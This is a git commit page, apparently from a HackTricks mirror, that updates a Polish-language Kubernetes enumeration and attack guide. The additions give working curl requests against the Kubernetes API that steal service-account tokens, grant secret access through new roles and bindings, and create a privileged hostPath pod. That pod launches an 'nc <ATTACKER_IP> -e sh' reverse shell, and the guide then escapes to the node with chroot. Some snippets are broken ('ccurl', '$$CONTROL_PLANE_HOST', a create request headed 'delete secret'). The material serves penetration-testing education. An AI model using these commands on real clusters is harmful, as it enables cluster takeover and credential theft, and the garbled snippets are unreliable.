mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera
This commit is contained in:
+7
-7
@@ -451,8 +451,8 @@
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
@@ -462,16 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
Jeśli masz skompromitowany dostęp do maszyny, użytkownik może mieć dostęp do niektórej platformy Kubernetes. Token zazwyczaj znajduje się w pliku wskazywanym przez **env var `KUBECONFIG`** lub **w `~/.kube`**.
|
||||
Jeśli masz skompromitowany dostęp do maszyny, użytkownik może mieć dostęp do jakiejś platformy Kubernetes. Token zazwyczaj znajduje się w pliku wskazywanym przez **env var `KUBECONFIG`** lub **w `~/.kube`**.
|
||||
|
||||
W tym folderze możesz znaleźć pliki konfiguracyjne z **tokenami i konfiguracjami do połączenia z serwerem API**. W tym folderze możesz również znaleźć folder cache z informacjami wcześniej pobranymi.
|
||||
|
||||
@@ -12,7 +12,7 @@ Jeśli skompromitowałeś pod w środowisku Kubernetes, są inne miejsca, w któ
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Zanim przejdziesz dalej, jeśli nie wiesz, czym jest usługa w Kubernetes, sugeruję **przeczytać ten link i zapoznać się przynajmniej z informacjami o architekturze Kubernetes.**
|
||||
Zanim przejdziesz dalej, jeśli nie wiesz, co to jest usługa w Kubernetes, sugeruję **przeczytać ten link i zapoznać się przynajmniej z informacjami o architekturze Kubernetes.**
|
||||
|
||||
Z dokumentacji Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
@@ -51,7 +51,7 @@ _**Hot pods to**_ pody zawierające token konta usługi z uprawnieniami. Token k
|
||||
|
||||
## RBAC
|
||||
|
||||
Jeśli nie wiesz, czym jest **RBAC**, **przeczytaj tę sekcję**.
|
||||
Jeśli nie wiesz, co to jest **RBAC**, **przeczytaj tę sekcję**.
|
||||
|
||||
## GUI Applications
|
||||
|
||||
@@ -66,7 +66,7 @@ Aby enumerować środowisko K8s, potrzebujesz kilku rzeczy:
|
||||
- **adresu (**_**https://host:port**_**) serwera API Kubernetes**. Zazwyczaj można go znaleźć w zmiennych środowiskowych i/lub w pliku kube config.
|
||||
- **Opcjonalnie**: **ca.crt do weryfikacji serwera API**. Można go znaleźć w tych samych miejscach, w których można znaleźć token. Jest to przydatne do weryfikacji certyfikatu serwera API, ale używając `--insecure-skip-tls-verify` z `kubectl` lub `-k` z `curl`, nie będziesz tego potrzebować.
|
||||
|
||||
Mając te szczegóły, możesz **enumerować Kubernetes**. Jeśli **API** z jakiegoś powodu jest **dostępne** przez **Internet**, możesz po prostu pobrać te informacje i enumerować platformę z własnego hosta.
|
||||
Mając te szczegóły, możesz **enumerować Kubernetes**. Jeśli **API** z jakiegoś powodu jest **dostępne** przez **Internet**, możesz po prostu pobrać te informacje i enumerować platformę z własnej maszyny.
|
||||
|
||||
Jednak zazwyczaj **serwer API znajduje się w wewnętrznej sieci**, dlatego będziesz musiał **utworzyć tunel** przez skompromitowaną maszynę, aby uzyskać do niego dostęp z własnej maszyny, lub możesz **przesłać** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarny, lub użyć **`curl/wget/cokolwiek`** do wykonywania surowych żądań HTTP do serwera API.
|
||||
|
||||
@@ -76,14 +76,14 @@ Dzięki uprawnieniom **`get`** możesz uzyskać dostęp do informacji o konkretn
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
Jeśli masz uprawnienia **`list`**, możesz wykonywać żądania API, aby wylistować dany typ zasobu (_`get` opcja w `kubectl`_):
|
||||
Jeśli masz uprawnienie **`list`**, możesz wykonywać żądania API, aby wyświetlić typ zasobu (_`get` opcja w `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
Jeśli masz uprawnienia **`watch`**, możesz wykonywać żądania API w celu monitorowania zasobów:
|
||||
Jeśli masz uprawnienie **`watch`**, możesz wykonywać żądania API w celu monitorowania zasobów:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -94,7 +94,7 @@ GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
Otwierają połączenie strumieniowe, które zwraca pełny manifest Deploymentu za każdym razem, gdy się zmienia (lub gdy tworzony jest nowy).
|
||||
|
||||
> [!CAUTION]
|
||||
> Następujące polecenia `kubectl` wskazują tylko, jak wylistować obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć `describe` zamiast `get`.
|
||||
> Następujące polecenia `kubectl` wskazują tylko, jak wylistować obiekty. Jeśli chcesz uzyskać dostęp do danych, musisz użyć `describe` zamiast `get`
|
||||
|
||||
### Używanie curl
|
||||
|
||||
@@ -119,7 +119,7 @@ Domyślnie, APISERVER komunikuje się z schematem `https://`
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> jeśli nie ma `https://` w adresie URL, możesz otrzymać błąd typu Bad Request.
|
||||
> jeśli brak `https://` w adresie URL, możesz otrzymać błąd podobny do Bad Request.
|
||||
|
||||
Możesz znaleźć [**oficjalną ściągawkę kubectl tutaj**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Celem poniższych sekcji jest przedstawienie w uporządkowany sposób różnych opcji do enumeracji i zrozumienia nowego K8s, do którego uzyskałeś dostęp.
|
||||
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Jeśli udało ci się ukraść dane uwierzytelniające niektórych użytkowników, możesz **skonfigurować je lokalnie** za pomocą czegoś takiego jak:
|
||||
Jeśli udało ci się ukraść dane uwierzytelniające niektórych użytkowników, możesz **skonfigurować je lokalnie** za pomocą czegoś takiego:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \
|
||||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||||
--auth-provider-arg=id-token=( your id_token )
|
||||
```
|
||||
### Uzyskaj obsługiwane zasoby
|
||||
### Pobierz obsługiwane zasoby
|
||||
|
||||
Dzięki tym informacjom będziesz wiedzieć, wszystkie usługi, które możesz wymienić
|
||||
Dzięki tym informacjom będziesz wiedzieć, wszystkie usługi, które możesz wylistować
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -247,7 +247,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Uzyskaj sekrety
|
||||
### Pobierz sekrety
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -272,7 +272,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f
|
||||
```
|
||||
### Uzyskaj konta serwisowe
|
||||
|
||||
Jak omówiono na początku tej strony, **gdy uruchamiany jest pod, zazwyczaj przypisywane jest do niego konto serwisowe**. Dlatego wylistowanie kont serwisowych, ich uprawnień i miejsc, w których działają, może umożliwić użytkownikowi eskalację uprawnień.
|
||||
Jak omówiono na początku tej strony **gdy pod jest uruchamiany, zazwyczaj przypisywane jest do niego konto serwisowe**. Dlatego wylistowanie kont serwisowych, ich uprawnień i miejsc, w których działają, może umożliwić użytkownikowi eskalację uprawnień.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -307,9 +307,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Pobierz Pods
|
||||
### Pobierz Podsy
|
||||
|
||||
Pods to rzeczywiste **kontenery**, które będą **uruchamiane**.
|
||||
Podsy to rzeczywiste **kontenery**, które będą **uruchamiane**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||||
|
||||
### Pobierz configMap
|
||||
|
||||
configMap zawsze zawiera wiele informacji i plików konfiguracyjnych, które są dostarczane do aplikacji działających w kubernetes. Zwykle można znaleźć wiele haseł, sekretów, tokenów, które są używane do łączenia się i weryfikacji z innymi wewnętrznymi/zewnętrznymi usługami.
|
||||
configMap zawsze zawiera wiele informacji i plików konfiguracyjnych, które są dostarczane do aplikacji działających w Kubernetes. Zwykle można znaleźć wiele haseł, sekretów, tokenów, które są używane do łączenia się i weryfikacji z innymi wewnętrznymi/zewnętrznymi usługami.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -417,7 +417,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Uzyskaj polityki sieciowe / Polityki sieciowe Cilium
|
||||
### Pobierz polityki sieciowe / Polityki sieciowe Cilium
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Pierwsza zakładka" }}
|
||||
@@ -459,9 +459,13 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Interakcja z klastrem bez użycia kubectl
|
||||
|
||||
Widząc, że kontrolny plane Kubernetes udostępnia API REST-ful, możesz ręcznie tworzyć żądania HTTP i wysyłać je za pomocą innych narzędzi, takich jak **curl** lub **wget**.
|
||||
|
||||
### Ucieczka z poda
|
||||
|
||||
Jeśli jesteś w stanie tworzyć nowe pody, możesz być w stanie uciec z nich do węzła. Aby to zrobić, musisz stworzyć nowy pod za pomocą pliku yaml, przełączyć się na utworzony pod, a następnie chrootować do systemu węzła. Możesz użyć już istniejących podów jako odniesienia do pliku yaml, ponieważ wyświetlają one istniejące obrazy i ścieżki.
|
||||
Jeśli jesteś w stanie tworzyć nowe pody, możesz być w stanie uciec z nich do węzła. Aby to zrobić, musisz stworzyć nowy pod za pomocą pliku yaml, przełączyć się na utworzony pod, a następnie chrootować do systemu węzła. Możesz użyć już istniejących podów jako odniesienia do pliku yaml, ponieważ wyświetlają istniejące obrazy i ścieżki.
|
||||
```bash
|
||||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
```
|
||||
@@ -469,7 +473,7 @@ kubectl get pod <name> [-n <namespace>] -o yaml
|
||||
>
|
||||
> `k get nodes --show-labels`
|
||||
>
|
||||
> Zwykle, kubernetes.io/hostname i node-role.kubernetes.io/master to dobre etykiety do wyboru.
|
||||
> Zwykle kubernetes.io/hostname i node-role.kubernetes.io/master to dobre etykiety do wyboru.
|
||||
|
||||
Następnie tworzysz swój plik attack.yaml
|
||||
```yaml
|
||||
@@ -509,12 +513,218 @@ Teraz możesz przełączyć się na utworzony pod w następujący sposób
|
||||
```bash
|
||||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||||
```
|
||||
A na koniec chrootujesz do systemu węzła
|
||||
I na koniec chrootujesz do systemu węzła
|
||||
```bash
|
||||
chroot /root /bin/bash
|
||||
```
|
||||
Informacje uzyskane z: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Tworzenie uprzywilejowanego poda
|
||||
|
||||
Odpowiedni plik yaml wygląda następująco:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: everything-allowed-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
hostIPC: true
|
||||
containers:
|
||||
- name: everything-allowed-pod
|
||||
image: alpine
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
Utwórz pod za pomocą curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 478' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Usuń pod
|
||||
|
||||
Usuń pod za pomocą curl:
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
POD_NAME="everything-allowed-exec-pod"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
### Utwórz konto usługi
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Length: 109' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Usuń konto usługi
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
SA_NAME=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
### Utwórz rolę
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 203' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Usuń rolę
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
### Utwórz powiązanie roli
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 816' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Usuń powiązanie roli
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_BINDING_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
### Usuń sekret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 219' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
### Usuń sekret
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
SECRET_NAME=""
|
||||
|
||||
ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user